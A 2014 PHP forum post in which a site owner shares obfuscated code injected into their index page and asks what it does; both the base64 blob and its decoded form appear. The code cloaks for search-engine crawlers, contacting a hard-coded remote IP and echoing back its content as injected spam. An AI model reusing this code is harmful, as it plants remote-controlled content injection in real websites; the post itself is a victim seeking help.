Please help understand this code

Posted on 16th Feb 2014 07:03 pm by admin

I noticed the index page on my site was modified this morning and found this code inserted at the bottom of the page:

Code: <!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));

I printed out what is decoded:
Code: if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or stripos($_SERVER['HTTP_USER_AGENT'], 'live')) { $r = ''; if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) . " HTTP/1.0rnHost: 91.207.4.18rnrn")) while( $l = fread($f, 1024)) $r .= $l; @fclose($f); $p=strpos($r,"rnrn"); echo substr($r,$p+4); }

Can someone please interpret what this code is trying to do? I noticed that the IP address is coming from the Ukraine.

Thank you

Your Answer:

Login to answer

Other forums

PHP Array quick help
I need

$_SESSION{'username'} to be like this:


if $_SESSION['username'] = "gay

Unable to display contents in Second Drop Down Box
Hi All,

What I am trying to do is 2 dependent drop down boxes and when user selects su

How to have a log of all the status a VIM document had been ?
Hi guys,

I’m using SAP Invoice Management plugin and the /OPT/VIM_ANALYTICS transa

square instead of number
Hello
I do not know why but this code seems to work fine only in my xampp local insallation but n

generate seo frienly url from a text like wordpress
Convert: "åäö" to "aao", "space" to "-", "!?&q

Query failed issue with php script but works fine in mssql manager!
hi i have the script below which copies data from one table to another but will only insert new data

Why does first ever HttpSendRequest take longer?
I promise this isn't as simple as it sounds. I'm wondering why the the first ever call to HttpSendRe

! = ''
In the following 'IF' statement if v_ompcat = PU for example then Oracle equates that 'IF' statement

User registration and login
I don't know whether this is the correct forum, if not i apologise but am pretty desperate at the mo

Passing Arguments to execlp()
I'm writing a program that mimics a unix shell. It's supposed to take commands with arguments and ex